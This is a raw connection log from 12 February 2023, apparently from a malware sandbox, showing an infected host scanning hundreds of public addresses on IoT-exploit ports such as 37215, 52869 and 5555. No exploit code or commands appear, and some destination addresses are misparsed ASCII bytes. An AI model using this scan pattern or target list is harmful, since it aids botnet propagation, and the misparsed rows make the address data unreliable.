Feb 12, 2023 21:24:54.255467892 CET	40280	8080	192.168.2.23	49.52.48.46
Feb 12, 2023 21:24:54.255479097 CET	58566	8080	192.168.2.23	50.57.46.49
Feb 12, 2023 21:24:54.255480051 CET	58940	8080	192.168.2.23	49.57.52.46
Feb 12, 2023 21:24:54.287462950 CET	55712	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:54.287468910 CET	49076	8080	192.168.2.23	56.57.46.50
Feb 12, 2023 21:24:54.317682981 CET	37215	52981	197.235.7.75	192.168.2.23
Feb 12, 2023 21:24:54.319442987 CET	46264	8080	192.168.2.23	57.55.46.55
Feb 12, 2023 21:24:54.354516029 CET	45412	52869	192.168.2.23	50.48.50.46
Feb 12, 2023 21:24:54.356110096 CET	41074	52869	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:54.357584953 CET	36602	52869	192.168.2.23	56.51.46.49
Feb 12, 2023 21:24:54.359652042 CET	43424	52869	192.168.2.23	50.53.46.50
Feb 12, 2023 21:24:54.361213923 CET	36382	52869	192.168.2.23	54.55.46.52
Feb 12, 2023 21:24:54.362497091 CET	36872	52869	192.168.2.23	55.49.46.49
Feb 12, 2023 21:24:54.364029884 CET	37944	52869	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:54.366497040 CET	53922	52869	192.168.2.23	49.54.54.46
Feb 12, 2023 21:24:54.366538048 CET	47830	52869	192.168.2.23	52.49.46.50
Feb 12, 2023 21:24:54.371501923 CET	50782	52869	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:54.383444071 CET	40324	37215	192.168.2.23	197.193.57.129
Feb 12, 2023 21:24:54.383471012 CET	51694	5555	192.168.2.23	142.11.52.65
Feb 12, 2023 21:24:54.383514881 CET	49886	80	192.168.2.23	57.55.46.55
Feb 12, 2023 21:24:54.383552074 CET	43036	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:54.383558035 CET	38530	80	192.168.2.23	56.57.46.50
Feb 12, 2023 21:24:54.383560896 CET	36094	80	192.168.2.23	49.57.52.46
Feb 12, 2023 21:24:54.383560896 CET	35336	80	192.168.2.23	49.52.48.46
Feb 12, 2023 21:24:54.383584976 CET	58828	80	192.168.2.23	50.57.46.49
Feb 12, 2023 21:24:54.383605957 CET	41772	80	192.168.2.23	49.53.50.46
Feb 12, 2023 21:24:54.383605957 CET	34430	80	192.168.2.23	51.55.46.57
Feb 12, 2023 21:24:54.383619070 CET	36494	80	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:54.383644104 CET	55878	80	192.168.2.23	53.49.46.50
Feb 12, 2023 21:24:54.399444103 CET	37215	52981	211.15.0.64	192.168.2.23
Feb 12, 2023 21:24:54.415484905 CET	41158	8080	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:54.415944099 CET	52869	47830	52.49.46.50	192.168.2.23
Feb 12, 2023 21:24:54.598509073 CET	37215	52981	197.8.206.69	192.168.2.23
Feb 12, 2023 21:24:54.607424021 CET	33058	37215	192.168.2.23	50.48.48.46
Feb 12, 2023 21:24:54.607426882 CET	42740	37215	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:54.607476950 CET	44908	37215	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:54.607497931 CET	48900	37215	192.168.2.23	49.53.50.46
Feb 12, 2023 21:24:54.607511997 CET	54076	37215	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:54.639540911 CET	46328	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:24:54.639540911 CET	56284	5555	192.168.2.23	152.30.23.146
Feb 12, 2023 21:24:54.646635056 CET	37215	52981	197.136.242.234	192.168.2.23
Feb 12, 2023 21:24:54.684561968 CET	56132	8080	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:54.692034006 CET	35322	8080	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:54.700201035 CET	53992	8080	192.168.2.23	53.48.46.50
Feb 12, 2023 21:24:54.710130930 CET	53342	8080	192.168.2.23	49.55.53.46
Feb 12, 2023 21:24:54.721956015 CET	40886	8080	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:54.731281042 CET	53348	8080	192.168.2.23	57.46.50.55
Feb 12, 2023 21:24:54.735418081 CET	54994	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:54.735419035 CET	54992	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:54.735539913 CET	54988	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:54.735928059 CET	55374	8080	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:54.739398003 CET	54998	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:54.739398956 CET	54996	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:54.739408970 CET	55744	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:54.747056961 CET	43210	8080	192.168.2.23	49.52.54.46
Feb 12, 2023 21:24:54.766166925 CET	53616	8080	192.168.2.23	49.49.51.46
Feb 12, 2023 21:24:54.791075945 CET	40820	8080	192.168.2.23	49.48.57.46
Feb 12, 2023 21:24:54.895589113 CET	47166	5555	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:54.927516937 CET	46860	7574	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:54.949354887 CET	22272	5555	192.168.2.23	58.94.217.195
Feb 12, 2023 21:24:54.949362993 CET	22272	5555	192.168.2.23	218.236.223.12
Feb 12, 2023 21:24:54.949362993 CET	22272	5555	192.168.2.23	184.146.90.132
Feb 12, 2023 21:24:54.949383020 CET	22272	5555	192.168.2.23	202.156.157.111
Feb 12, 2023 21:24:54.949382067 CET	22272	5555	192.168.2.23	149.150.143.196
Feb 12, 2023 21:24:54.949383020 CET	22272	5555	192.168.2.23	159.18.10.85
Feb 12, 2023 21:24:54.949394941 CET	22272	5555	192.168.2.23	73.190.104.200
Feb 12, 2023 21:24:54.949417114 CET	22272	5555	192.168.2.23	41.213.236.19
Feb 12, 2023 21:24:54.949425936 CET	22272	5555	192.168.2.23	73.124.0.99
Feb 12, 2023 21:24:54.949425936 CET	22272	5555	192.168.2.23	123.74.114.76
Feb 12, 2023 21:24:54.949445009 CET	22272	5555	192.168.2.23	164.75.44.201
Feb 12, 2023 21:24:54.949449062 CET	22272	5555	192.168.2.23	47.162.148.97
Feb 12, 2023 21:24:54.949449062 CET	22272	5555	192.168.2.23	107.119.96.191
Feb 12, 2023 21:24:54.949476957 CET	22272	5555	192.168.2.23	91.214.71.5
Feb 12, 2023 21:24:54.949486971 CET	22272	5555	192.168.2.23	62.129.13.100
Feb 12, 2023 21:24:54.949496984 CET	22272	5555	192.168.2.23	129.169.212.7
Feb 12, 2023 21:24:54.949505091 CET	22272	5555	192.168.2.23	81.221.40.235
Feb 12, 2023 21:24:54.949511051 CET	22272	5555	192.168.2.23	176.121.74.128
Feb 12, 2023 21:24:54.949511051 CET	22272	5555	192.168.2.23	168.67.211.68
Feb 12, 2023 21:24:54.949527025 CET	22272	5555	192.168.2.23	62.31.94.56
Feb 12, 2023 21:24:54.949532032 CET	22272	5555	192.168.2.23	27.107.235.231
Feb 12, 2023 21:24:54.949536085 CET	22272	5555	192.168.2.23	12.9.227.81
Feb 12, 2023 21:24:54.949543953 CET	22272	5555	192.168.2.23	110.53.216.161
Feb 12, 2023 21:24:54.949554920 CET	22272	5555	192.168.2.23	209.239.124.136
Feb 12, 2023 21:24:54.949572086 CET	22272	5555	192.168.2.23	61.86.71.19
Feb 12, 2023 21:24:54.949589014 CET	22272	5555	192.168.2.23	1.10.40.76
Feb 12, 2023 21:24:54.949603081 CET	22272	5555	192.168.2.23	110.241.0.181
Feb 12, 2023 21:24:54.949619055 CET	22272	5555	192.168.2.23	35.2.103.177
Feb 12, 2023 21:24:54.949620962 CET	22272	5555	192.168.2.23	157.146.179.98
Feb 12, 2023 21:24:54.949666977 CET	22272	5555	192.168.2.23	13.164.193.183
Feb 12, 2023 21:24:54.949686050 CET	22272	5555	192.168.2.23	32.6.121.75
Feb 12, 2023 21:24:54.949691057 CET	22272	5555	192.168.2.23	184.54.48.6
Feb 12, 2023 21:24:54.949717999 CET	22272	5555	192.168.2.23	144.234.5.205
Feb 12, 2023 21:24:54.949717999 CET	22272	5555	192.168.2.23	62.31.217.9
Feb 12, 2023 21:24:54.949718952 CET	22272	5555	192.168.2.23	182.20.13.110
Feb 12, 2023 21:24:54.949736118 CET	22272	5555	192.168.2.23	172.88.228.183
Feb 12, 2023 21:24:54.949749947 CET	22272	5555	192.168.2.23	156.45.1.35
Feb 12, 2023 21:24:54.949764967 CET	22272	5555	192.168.2.23	154.86.186.154
Feb 12, 2023 21:24:54.949764967 CET	22272	5555	192.168.2.23	150.134.39.236
Feb 12, 2023 21:24:54.949788094 CET	22272	5555	192.168.2.23	164.109.142.175
Feb 12, 2023 21:24:54.949800014 CET	22272	5555	192.168.2.23	216.85.108.184
Feb 12, 2023 21:24:54.949812889 CET	22272	5555	192.168.2.23	95.164.52.113
Feb 12, 2023 21:24:54.949840069 CET	22272	5555	192.168.2.23	217.24.122.44
Feb 12, 2023 21:24:54.949873924 CET	22272	5555	192.168.2.23	202.24.190.13
Feb 12, 2023 21:24:54.949889898 CET	22272	5555	192.168.2.23	88.244.23.52
Feb 12, 2023 21:24:54.949892044 CET	22272	5555	192.168.2.23	198.146.153.173
Feb 12, 2023 21:24:54.949889898 CET	22272	5555	192.168.2.23	110.97.131.240
Feb 12, 2023 21:24:54.949907064 CET	22272	5555	192.168.2.23	156.89.24.184
Feb 12, 2023 21:24:54.949947119 CET	22272	5555	192.168.2.23	210.196.148.35
Feb 12, 2023 21:24:54.949947119 CET	22272	5555	192.168.2.23	83.176.244.43
Feb 12, 2023 21:24:54.949966908 CET	22272	5555	192.168.2.23	189.218.63.119
Feb 12, 2023 21:24:54.949966908 CET	22272	5555	192.168.2.23	151.18.218.20
Feb 12, 2023 21:24:54.949969053 CET	22272	5555	192.168.2.23	71.170.77.46
Feb 12, 2023 21:24:54.949975014 CET	22272	5555	192.168.2.23	194.53.39.177
Feb 12, 2023 21:24:54.949975967 CET	22272	5555	192.168.2.23	220.217.192.135
Feb 12, 2023 21:24:54.949978113 CET	22272	5555	192.168.2.23	38.68.26.11
Feb 12, 2023 21:24:54.949994087 CET	22272	5555	192.168.2.23	100.241.121.122
Feb 12, 2023 21:24:54.949995041 CET	22272	5555	192.168.2.23	158.41.113.73
Feb 12, 2023 21:24:54.950001001 CET	22272	5555	192.168.2.23	91.27.66.177
Feb 12, 2023 21:24:54.950017929 CET	22272	5555	192.168.2.23	91.94.124.128
Feb 12, 2023 21:24:54.950038910 CET	22272	5555	192.168.2.23	96.222.80.186
Feb 12, 2023 21:24:54.950057030 CET	22272	5555	192.168.2.23	212.54.142.73
Feb 12, 2023 21:24:54.950057030 CET	22272	5555	192.168.2.23	159.12.14.2
Feb 12, 2023 21:24:54.950061083 CET	22272	5555	192.168.2.23	113.91.191.253
Feb 12, 2023 21:24:54.950084925 CET	22272	5555	192.168.2.23	135.147.242.192
Feb 12, 2023 21:24:54.950090885 CET	22272	5555	192.168.2.23	168.126.184.155
Feb 12, 2023 21:24:54.950117111 CET	22272	5555	192.168.2.23	59.39.56.34
Feb 12, 2023 21:24:54.950134039 CET	22272	5555	192.168.2.23	196.149.126.141
Feb 12, 2023 21:24:54.950138092 CET	22272	5555	192.168.2.23	74.121.44.71
Feb 12, 2023 21:24:54.950149059 CET	22272	5555	192.168.2.23	64.133.155.179
Feb 12, 2023 21:24:54.950165033 CET	22272	5555	192.168.2.23	66.81.21.129
Feb 12, 2023 21:24:54.950172901 CET	22272	5555	192.168.2.23	128.133.131.180
Feb 12, 2023 21:24:54.950207949 CET	22272	5555	192.168.2.23	148.71.180.140
Feb 12, 2023 21:24:54.950207949 CET	22272	5555	192.168.2.23	42.234.168.192
Feb 12, 2023 21:24:54.950208902 CET	22272	5555	192.168.2.23	148.151.230.34
Feb 12, 2023 21:24:54.950210094 CET	22272	5555	192.168.2.23	109.155.200.16
Feb 12, 2023 21:24:54.950210094 CET	22272	5555	192.168.2.23	191.100.209.34
Feb 12, 2023 21:24:54.950210094 CET	22272	5555	192.168.2.23	67.159.8.163
Feb 12, 2023 21:24:54.950213909 CET	22272	5555	192.168.2.23	41.145.97.228
Feb 12, 2023 21:24:54.950233936 CET	22272	5555	192.168.2.23	201.113.7.102
Feb 12, 2023 21:24:54.950249910 CET	22272	5555	192.168.2.23	99.60.150.110
Feb 12, 2023 21:24:54.950251102 CET	22272	5555	192.168.2.23	134.33.23.26
Feb 12, 2023 21:24:54.950249910 CET	22272	5555	192.168.2.23	98.171.179.144
Feb 12, 2023 21:24:54.950253963 CET	22272	5555	192.168.2.23	121.42.243.39
Feb 12, 2023 21:24:54.950253963 CET	22272	5555	192.168.2.23	191.40.11.87
Feb 12, 2023 21:24:54.950253963 CET	22272	5555	192.168.2.23	86.147.77.95
Feb 12, 2023 21:24:54.950254917 CET	22272	5555	192.168.2.23	82.192.253.97
Feb 12, 2023 21:24:54.950257063 CET	22272	5555	192.168.2.23	79.82.184.220
Feb 12, 2023 21:24:54.950263023 CET	22272	5555	192.168.2.23	124.41.70.74
Feb 12, 2023 21:24:54.950263023 CET	22272	5555	192.168.2.23	182.253.81.163
Feb 12, 2023 21:24:54.950263023 CET	22272	5555	192.168.2.23	87.14.136.169
Feb 12, 2023 21:24:54.950263023 CET	22272	5555	192.168.2.23	147.222.136.251
Feb 12, 2023 21:24:54.950287104 CET	22272	5555	192.168.2.23	71.6.163.255
Feb 12, 2023 21:24:54.950288057 CET	22272	5555	192.168.2.23	161.120.101.63
Feb 12, 2023 21:24:54.950294971 CET	22272	5555	192.168.2.23	158.197.66.185
Feb 12, 2023 21:24:54.950294971 CET	22272	5555	192.168.2.23	169.158.218.59
Feb 12, 2023 21:24:54.950298071 CET	22272	5555	192.168.2.23	87.127.252.190
Feb 12, 2023 21:24:54.950298071 CET	22272	5555	192.168.2.23	69.110.52.239
Feb 12, 2023 21:24:54.950299025 CET	22272	5555	192.168.2.23	148.108.220.235
Feb 12, 2023 21:24:54.950298071 CET	22272	5555	192.168.2.23	182.92.3.156
Feb 12, 2023 21:24:54.950298071 CET	22272	5555	192.168.2.23	103.77.66.229
Feb 12, 2023 21:24:54.950299025 CET	22272	5555	192.168.2.23	218.196.116.205
Feb 12, 2023 21:24:54.950298071 CET	22272	5555	192.168.2.23	189.50.99.237
Feb 12, 2023 21:24:54.950298071 CET	22272	5555	192.168.2.23	195.97.190.21
Feb 12, 2023 21:24:54.950298071 CET	22272	5555	192.168.2.23	93.67.186.48
Feb 12, 2023 21:24:54.950335979 CET	22272	5555	192.168.2.23	104.54.148.217
Feb 12, 2023 21:24:54.950375080 CET	22272	5555	192.168.2.23	90.163.58.91
Feb 12, 2023 21:24:54.950375080 CET	22272	5555	192.168.2.23	189.36.122.184
Feb 12, 2023 21:24:54.950375080 CET	22272	5555	192.168.2.23	14.136.107.3
Feb 12, 2023 21:24:54.950377941 CET	22272	5555	192.168.2.23	151.202.241.189
Feb 12, 2023 21:24:54.950378895 CET	22272	5555	192.168.2.23	83.20.254.119
Feb 12, 2023 21:24:54.950377941 CET	22272	5555	192.168.2.23	158.5.219.193
Feb 12, 2023 21:24:54.950380087 CET	22272	5555	192.168.2.23	189.160.72.56
Feb 12, 2023 21:24:54.950380087 CET	22272	5555	192.168.2.23	142.160.102.127
Feb 12, 2023 21:24:54.950381994 CET	22272	5555	192.168.2.23	120.216.192.243
Feb 12, 2023 21:24:54.950380087 CET	22272	5555	192.168.2.23	47.112.170.33
Feb 12, 2023 21:24:54.950380087 CET	22272	5555	192.168.2.23	64.197.240.239
Feb 12, 2023 21:24:54.950381994 CET	22272	5555	192.168.2.23	38.228.102.208
Feb 12, 2023 21:24:54.950377941 CET	22272	5555	192.168.2.23	166.31.200.72
Feb 12, 2023 21:24:54.950377941 CET	22272	5555	192.168.2.23	208.146.236.41
Feb 12, 2023 21:24:54.950377941 CET	22272	5555	192.168.2.23	179.219.129.117
Feb 12, 2023 21:24:54.950377941 CET	22272	5555	192.168.2.23	175.102.139.205
Feb 12, 2023 21:24:54.950380087 CET	22272	5555	192.168.2.23	192.221.95.86
Feb 12, 2023 21:24:54.950380087 CET	22272	5555	192.168.2.23	156.197.91.103
Feb 12, 2023 21:24:54.950380087 CET	22272	5555	192.168.2.23	140.116.209.228
Feb 12, 2023 21:24:54.950380087 CET	22272	5555	192.168.2.23	104.106.163.23
Feb 12, 2023 21:24:54.950380087 CET	22272	5555	192.168.2.23	83.239.101.100
Feb 12, 2023 21:24:54.950392008 CET	22272	5555	192.168.2.23	221.25.251.230
Feb 12, 2023 21:24:54.950380087 CET	22272	5555	192.168.2.23	74.89.240.170
Feb 12, 2023 21:24:54.950396061 CET	22272	5555	192.168.2.23	151.163.93.126
Feb 12, 2023 21:24:54.950396061 CET	22272	5555	192.168.2.23	166.8.97.249
Feb 12, 2023 21:24:54.950424910 CET	22272	5555	192.168.2.23	165.25.226.239
Feb 12, 2023 21:24:54.950431108 CET	22272	5555	192.168.2.23	110.195.69.10
Feb 12, 2023 21:24:54.950431108 CET	22272	5555	192.168.2.23	114.123.237.92
Feb 12, 2023 21:24:54.950442076 CET	22272	5555	192.168.2.23	126.161.249.244
Feb 12, 2023 21:24:54.950442076 CET	22272	5555	192.168.2.23	201.211.126.246
Feb 12, 2023 21:24:54.950442076 CET	22272	5555	192.168.2.23	156.115.18.30
Feb 12, 2023 21:24:54.950442076 CET	22272	5555	192.168.2.23	50.43.145.73
Feb 12, 2023 21:24:54.950450897 CET	22272	5555	192.168.2.23	74.171.77.92
Feb 12, 2023 21:24:54.950452089 CET	22272	5555	192.168.2.23	32.151.78.216
Feb 12, 2023 21:24:54.950450897 CET	22272	5555	192.168.2.23	81.237.47.182
Feb 12, 2023 21:24:54.950453043 CET	22272	5555	192.168.2.23	113.191.155.122
Feb 12, 2023 21:24:54.950453043 CET	22272	5555	192.168.2.23	105.213.103.80
Feb 12, 2023 21:24:54.950450897 CET	22272	5555	192.168.2.23	43.96.230.145
Feb 12, 2023 21:24:54.950453043 CET	22272	5555	192.168.2.23	93.50.241.175
Feb 12, 2023 21:24:54.950455904 CET	22272	5555	192.168.2.23	63.197.223.52
Feb 12, 2023 21:24:54.950453043 CET	22272	5555	192.168.2.23	76.166.201.223
Feb 12, 2023 21:24:54.950450897 CET	22272	5555	192.168.2.23	146.54.218.26
Feb 12, 2023 21:24:54.950455904 CET	22272	5555	192.168.2.23	193.40.25.120
Feb 12, 2023 21:24:54.950450897 CET	22272	5555	192.168.2.23	68.53.133.74
Feb 12, 2023 21:24:54.950455904 CET	22272	5555	192.168.2.23	134.140.247.115
Feb 12, 2023 21:24:54.950455904 CET	22272	5555	192.168.2.23	203.91.141.126
Feb 12, 2023 21:24:54.950453043 CET	22272	5555	192.168.2.23	126.55.54.79
Feb 12, 2023 21:24:54.950465918 CET	22272	5555	192.168.2.23	41.175.22.15
Feb 12, 2023 21:24:54.950469017 CET	22272	5555	192.168.2.23	12.212.19.193
Feb 12, 2023 21:24:54.950469017 CET	22272	5555	192.168.2.23	1.5.97.146
Feb 12, 2023 21:24:54.950479984 CET	22272	5555	192.168.2.23	164.53.210.246
Feb 12, 2023 21:24:54.950481892 CET	22272	5555	192.168.2.23	135.64.182.32
Feb 12, 2023 21:24:54.950512886 CET	22272	5555	192.168.2.23	166.107.232.48
Feb 12, 2023 21:24:54.950512886 CET	22272	5555	192.168.2.23	89.150.23.195
Feb 12, 2023 21:24:54.988763094 CET	5555	22272	87.14.136.169	192.168.2.23
Feb 12, 2023 21:24:55.023519039 CET	38508	37215	192.168.2.23	197.194.160.175
Feb 12, 2023 21:24:55.055459023 CET	48958	80	192.168.2.23	53.46.49.53
Feb 12, 2023 21:24:55.055630922 CET	33530	80	192.168.2.23	54.50.46.55
Feb 12, 2023 21:24:55.055641890 CET	48868	80	192.168.2.23	56.56.46.49
Feb 12, 2023 21:24:55.055674076 CET	50126	80	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:55.055694103 CET	50902	80	192.168.2.23	56.50.46.54
Feb 12, 2023 21:24:55.055700064 CET	37138	80	192.168.2.23	49.46.49.50
Feb 12, 2023 21:24:55.071309090 CET	5555	22272	209.239.124.136	192.168.2.23
Feb 12, 2023 21:24:55.094770908 CET	55874	37215	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:55.100889921 CET	42846	37215	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:55.103549957 CET	34806	37215	192.168.2.23	53.48.46.50
Feb 12, 2023 21:24:55.108571053 CET	37072	37215	192.168.2.23	49.55.53.46
Feb 12, 2023 21:24:55.115346909 CET	54868	37215	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:55.123311043 CET	52981	37215	192.168.2.23	121.248.229.140
Feb 12, 2023 21:24:55.123313904 CET	52981	37215	192.168.2.23	121.94.56.156
Feb 12, 2023 21:24:55.123331070 CET	52981	37215	192.168.2.23	65.175.108.236
Feb 12, 2023 21:24:55.123331070 CET	52981	37215	192.168.2.23	197.173.48.37
Feb 12, 2023 21:24:55.123338938 CET	52981	37215	192.168.2.23	45.148.151.111
Feb 12, 2023 21:24:55.123338938 CET	52981	37215	192.168.2.23	197.18.69.240
Feb 12, 2023 21:24:55.123338938 CET	52981	37215	192.168.2.23	157.162.51.171
Feb 12, 2023 21:24:55.123339891 CET	52981	37215	192.168.2.23	41.196.112.233
Feb 12, 2023 21:24:55.123344898 CET	52981	37215	192.168.2.23	197.92.217.52
Feb 12, 2023 21:24:55.123346090 CET	52981	37215	192.168.2.23	125.95.81.20
Feb 12, 2023 21:24:55.123370886 CET	52981	37215	192.168.2.23	197.138.48.249
Feb 12, 2023 21:24:55.123370886 CET	52981	37215	192.168.2.23	179.121.199.3
Feb 12, 2023 21:24:55.123398066 CET	52981	37215	192.168.2.23	197.21.229.179
Feb 12, 2023 21:24:55.123404026 CET	52981	37215	192.168.2.23	197.75.141.31
Feb 12, 2023 21:24:55.123440981 CET	52981	37215	192.168.2.23	197.171.115.89
Feb 12, 2023 21:24:55.123454094 CET	52981	37215	192.168.2.23	197.168.238.180
Feb 12, 2023 21:24:55.123454094 CET	52981	37215	192.168.2.23	177.105.193.22
Feb 12, 2023 21:24:55.123454094 CET	52981	37215	192.168.2.23	157.39.253.79
Feb 12, 2023 21:24:55.123461962 CET	52981	37215	192.168.2.23	157.122.167.109
Feb 12, 2023 21:24:55.123483896 CET	52981	37215	192.168.2.23	175.33.95.38
Feb 12, 2023 21:24:55.123486996 CET	52981	37215	192.168.2.23	41.46.61.65
Feb 12, 2023 21:24:55.123528004 CET	52981	37215	192.168.2.23	197.128.110.104
Feb 12, 2023 21:24:55.123532057 CET	52981	37215	192.168.2.23	157.254.129.29
Feb 12, 2023 21:24:55.123549938 CET	52981	37215	192.168.2.23	100.58.138.101
Feb 12, 2023 21:24:55.123573065 CET	52981	37215	192.168.2.23	197.38.198.233
Feb 12, 2023 21:24:55.123606920 CET	52981	37215	192.168.2.23	175.12.105.37
Feb 12, 2023 21:24:55.123627901 CET	52981	37215	192.168.2.23	197.199.228.198
Feb 12, 2023 21:24:55.123630047 CET	52981	37215	192.168.2.23	41.41.87.187
Feb 12, 2023 21:24:55.123630047 CET	52981	37215	192.168.2.23	157.90.71.45
Feb 12, 2023 21:24:55.123627901 CET	52981	37215	192.168.2.23	41.231.136.250
Feb 12, 2023 21:24:55.123629093 CET	52981	37215	192.168.2.23	157.75.135.17
Feb 12, 2023 21:24:55.123644114 CET	52981	37215	192.168.2.23	157.36.85.141
Feb 12, 2023 21:24:55.123662949 CET	52981	37215	192.168.2.23	147.122.25.116
Feb 12, 2023 21:24:55.123662949 CET	52981	37215	192.168.2.23	175.91.11.180
Feb 12, 2023 21:24:55.123676062 CET	52981	37215	192.168.2.23	41.141.224.69
Feb 12, 2023 21:24:55.123677015 CET	52981	37215	192.168.2.23	157.243.8.125
Feb 12, 2023 21:24:55.123694897 CET	52981	37215	192.168.2.23	41.31.165.185
Feb 12, 2023 21:24:55.123714924 CET	52981	37215	192.168.2.23	197.100.89.186
Feb 12, 2023 21:24:55.123716116 CET	52981	37215	192.168.2.23	197.36.143.198
Feb 12, 2023 21:24:55.123718977 CET	52981	37215	192.168.2.23	157.91.220.23
Feb 12, 2023 21:24:55.123755932 CET	52981	37215	192.168.2.23	41.60.84.241
Feb 12, 2023 21:24:55.123761892 CET	52981	37215	192.168.2.23	197.105.200.197
Feb 12, 2023 21:24:55.123769045 CET	52981	37215	192.168.2.23	197.160.122.235
Feb 12, 2023 21:24:55.123795986 CET	52981	37215	192.168.2.23	101.70.28.244
Feb 12, 2023 21:24:55.123799086 CET	52981	37215	192.168.2.23	157.211.244.55
Feb 12, 2023 21:24:55.123817921 CET	52981	37215	192.168.2.23	135.180.241.41
Feb 12, 2023 21:24:55.123836994 CET	52981	37215	192.168.2.23	41.190.121.66
Feb 12, 2023 21:24:55.123851061 CET	52981	37215	192.168.2.23	157.93.150.144
Feb 12, 2023 21:24:55.123878956 CET	52981	37215	192.168.2.23	94.102.118.255
Feb 12, 2023 21:24:55.123893976 CET	52981	37215	192.168.2.23	197.70.238.66
Feb 12, 2023 21:24:55.123903990 CET	52981	37215	192.168.2.23	157.39.17.238
Feb 12, 2023 21:24:55.123907089 CET	52981	37215	192.168.2.23	157.147.157.16
Feb 12, 2023 21:24:55.123920918 CET	52981	37215	192.168.2.23	41.99.60.127
Feb 12, 2023 21:24:55.123934984 CET	52981	37215	192.168.2.23	66.12.249.116
Feb 12, 2023 21:24:55.123964071 CET	52981	37215	192.168.2.23	80.210.42.75
Feb 12, 2023 21:24:55.123966932 CET	52981	37215	192.168.2.23	88.156.137.126
Feb 12, 2023 21:24:55.123995066 CET	52981	37215	192.168.2.23	41.49.102.208
Feb 12, 2023 21:24:55.123995066 CET	52981	37215	192.168.2.23	197.131.171.193
Feb 12, 2023 21:24:55.124005079 CET	52981	37215	192.168.2.23	157.139.171.38
Feb 12, 2023 21:24:55.124022961 CET	52981	37215	192.168.2.23	140.78.64.196
Feb 12, 2023 21:24:55.124037027 CET	52981	37215	192.168.2.23	113.236.224.26
Feb 12, 2023 21:24:55.124066114 CET	52981	37215	192.168.2.23	31.67.169.141
Feb 12, 2023 21:24:55.124068975 CET	52981	37215	192.168.2.23	157.73.226.254
Feb 12, 2023 21:24:55.124080896 CET	52981	37215	192.168.2.23	41.227.76.34
Feb 12, 2023 21:24:55.124108076 CET	52981	37215	192.168.2.23	157.160.238.66
Feb 12, 2023 21:24:55.124123096 CET	52981	37215	192.168.2.23	9.132.212.186
Feb 12, 2023 21:24:55.124125004 CET	52981	37215	192.168.2.23	71.165.139.219
Feb 12, 2023 21:24:55.124125004 CET	52981	37215	192.168.2.23	157.28.230.46
Feb 12, 2023 21:24:55.124160051 CET	52981	37215	192.168.2.23	197.16.135.224
Feb 12, 2023 21:24:55.124160051 CET	52981	37215	192.168.2.23	197.138.188.13
Feb 12, 2023 21:24:55.124203920 CET	52981	37215	192.168.2.23	92.160.250.16
Feb 12, 2023 21:24:55.124203920 CET	52981	37215	192.168.2.23	197.151.97.12
Feb 12, 2023 21:24:55.124221087 CET	52981	37215	192.168.2.23	24.66.142.200
Feb 12, 2023 21:24:55.124221087 CET	52981	37215	192.168.2.23	157.22.7.144
Feb 12, 2023 21:24:55.124223948 CET	52981	37215	192.168.2.23	157.178.132.98
Feb 12, 2023 21:24:55.124223948 CET	52981	37215	192.168.2.23	41.165.130.231
Feb 12, 2023 21:24:55.124224901 CET	52981	37215	192.168.2.23	53.36.141.96
Feb 12, 2023 21:24:55.124226093 CET	52981	37215	192.168.2.23	157.253.169.77
Feb 12, 2023 21:24:55.124223948 CET	52981	37215	192.168.2.23	157.21.48.87
Feb 12, 2023 21:24:55.124243021 CET	52981	37215	192.168.2.23	218.163.0.161
Feb 12, 2023 21:24:55.124247074 CET	52981	37215	192.168.2.23	94.191.111.188
Feb 12, 2023 21:24:55.124247074 CET	52981	37215	192.168.2.23	157.2.218.227
Feb 12, 2023 21:24:55.124247074 CET	52981	37215	192.168.2.23	157.51.47.176
Feb 12, 2023 21:24:55.124247074 CET	52981	37215	192.168.2.23	157.193.224.170
Feb 12, 2023 21:24:55.124247074 CET	52981	37215	192.168.2.23	197.61.22.112
Feb 12, 2023 21:24:55.124264002 CET	52981	37215	192.168.2.23	41.66.52.39
Feb 12, 2023 21:24:55.124269962 CET	52981	37215	192.168.2.23	197.229.168.55
Feb 12, 2023 21:24:55.124279022 CET	52981	37215	192.168.2.23	157.226.14.24
Feb 12, 2023 21:24:55.124279022 CET	52981	37215	192.168.2.23	197.31.214.245
Feb 12, 2023 21:24:55.124279022 CET	52981	37215	192.168.2.23	91.63.199.187
Feb 12, 2023 21:24:55.124289036 CET	52981	37215	192.168.2.23	157.33.169.15
Feb 12, 2023 21:24:55.124289036 CET	52981	37215	192.168.2.23	157.116.15.237
Feb 12, 2023 21:24:55.124325037 CET	52981	37215	192.168.2.23	206.140.163.81
Feb 12, 2023 21:24:55.124326944 CET	52981	37215	192.168.2.23	41.115.71.19
Feb 12, 2023 21:24:55.124327898 CET	52981	37215	192.168.2.23	197.231.187.100
Feb 12, 2023 21:24:55.124326944 CET	52981	37215	192.168.2.23	157.148.219.34
Feb 12, 2023 21:24:55.124351978 CET	52981	37215	192.168.2.23	41.201.45.203
Feb 12, 2023 21:24:55.124352932 CET	52981	37215	192.168.2.23	135.35.166.212
Feb 12, 2023 21:24:55.124366045 CET	52981	37215	192.168.2.23	197.110.23.222
Feb 12, 2023 21:24:55.124366045 CET	52981	37215	192.168.2.23	157.242.6.92
